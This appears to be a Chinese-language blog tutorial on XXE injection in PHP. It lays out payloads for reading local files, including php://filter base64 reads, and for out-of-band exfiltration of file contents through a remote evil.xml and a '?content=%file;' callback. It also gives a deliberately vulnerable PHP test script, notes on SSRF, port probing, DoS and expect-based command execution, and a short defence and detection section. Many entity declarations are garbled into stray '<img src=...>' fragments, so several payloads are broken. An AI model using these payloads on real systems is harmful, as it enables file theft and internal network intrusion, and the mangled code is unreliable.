XXE即XML External Entity Injection,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml\\\_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml\\\_load_string()
XML实体分为四种:字符实体,命名实体,外部实体,参数实体
1、命名实体写法:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY \\\[
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >\\\]>
<value>&xxe;</value>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY \\\[
<<img src="http://otherhost/xxxx.php" >\\\]> " style="margin: auto" />
<value>&xxe;</value>
可以用做xxe+ssrf2、命名实体+外部实体写法:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root \\\[
<<img src="http://localhost:88/evil.xml"" style="margin: auto" />
\\\]>
<value>&dtd;</value>
这种命名实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,感觉命名实体好鸡肋,参数实体就好用很多3、第一种命名实体+外部实体+参数实体写法:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data \\\[
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<<img src="http://localhost:88/evil.xml">" style="margin: auto" />
%dtd; %all;
\\\]>
<value>&send;</value>
其中evil.xml文件内容为
<<img src="http://localhost:88%file;'>">" style="margin: auto" />
调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用命名实体send
第二种命名实体+外部实体+参数实体写法:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root \\\[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<<img src="http://localhost:88/evil.xml"" style="margin: auto" />
%dtd;
%send;
\\\]>
<root></root>
其中evil.xml文件内容为:
<<img src="http://localhost:88/?content=%file;'>"> %payload;" style="margin: auto" />
调用过程和第一种方法类似
0x02.XXE攻击准备一个有XXE漏洞的文件
<?php
$xml=file\\\_get\\\_contents("php://input");
$data = simplexml\\\_load\\\_string($xml) ;
echo "<pre>" ;
print_r($data) ;//注释掉该语句即为无回显的情况
?>
xxe利用主要有:任意文件读取、内网信息探测(包括端口和相关web指纹识别)、DOS攻击、远程命名执行POC主要有:
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
不同程序支持的协议不同
1、任意文件读取:
1).有直接回显的情况:可以看1、命名实体写法
,根据实际情况替换相应代码利用即可,我本地测试照搬过来
2).无回显的情况:可以看3、第一种命名实体+外部实体+参数实体写法
和第二种命名实体+外部实体+参数实体写法
第一种写法结果如图:
c://test/1.txt文件内容为111111111,可以从apache的日志中看到
::1 - - \\\[23/Apr/2017:17:37:13 +0800\\\] "GET /111111111 HTTP/1.0" 404 207
如果把http://localhost:88/evil.xml替换为一个远程服务器的xml文件地址,即可在日志中看到我们想要获取的数据
第二种写法结果如图:
2、内网信息探测利用http协议http://url/file.ext,替换标准poc中相应部分即可,这种情况比较不稳定,根据不同xml解析器会得到不同的回显报错结果,例如我87关闭,88端口有web服务
有的没有明显的连接错误信息,所以无法判断端口的状态
3、DOS攻击实体的层层嵌套导致DOS,网上有poc4、远程命令执行PHP下需要expect扩展
0x03 踩过的坑
1.任意读取txt文件正常,读取php文件报错。因为php文件本身包含<等字符,利用php://filter的base64编码绕过php://filter/read=convert.base64-encode/resource=http://localhost:88/exponent/index.php
2.第二种命名实体+外部实体+参数实体写法 中的evil.xml文件对
<<img src="http://localhost:88/?content=%file;'>"> %payload;" style="margin: auto" />
错
<<img src="http://localhost:88/?content=%file;'>"> %payload;" style="margin: auto" />
最里层的嵌套里必须为字符实体3.形参实体(就是带%的)只能在dtd(<!DOCTYPE ANY
)里面调用,其他实体要用’&‘开头,’;'结尾 4.不明白为什么无回显的情况下一定要三层实体嵌套才正确,二层嵌套就不对(evil.xml中直接写成<<img src="http://localhost:88/?content=%file;'>
或是<!ENTITY send SYSTEM 'http://localhost:88/?content=%file;'>
" style=“margin: auto” />
0x04.防御
PHP:libxml_disable_entity_loader(true);JAVA:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);Python:from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
0x05 寻找XXE
1.检测xml是否被解析
<?xml version="1.0" encoding="ISO-8859-1"?>
<Prod>
<Prod>
<Type>abc</type>
<name>Bugcrowd</name>
<id>21</id>
</Prod>
</Prod>
2.检测是否支持外部实体解析
<?xml version="1.0" encoding="ISO-8859-1"?>
<<img src="http://YOURIP/TEST.ext" >\\\]" style="margin: auto" />
<Prod>
<Prod>
<Type>abc</type>
<name>Bugcrowd</name>
<id>&xxe</id>
</Prod>
</Prod>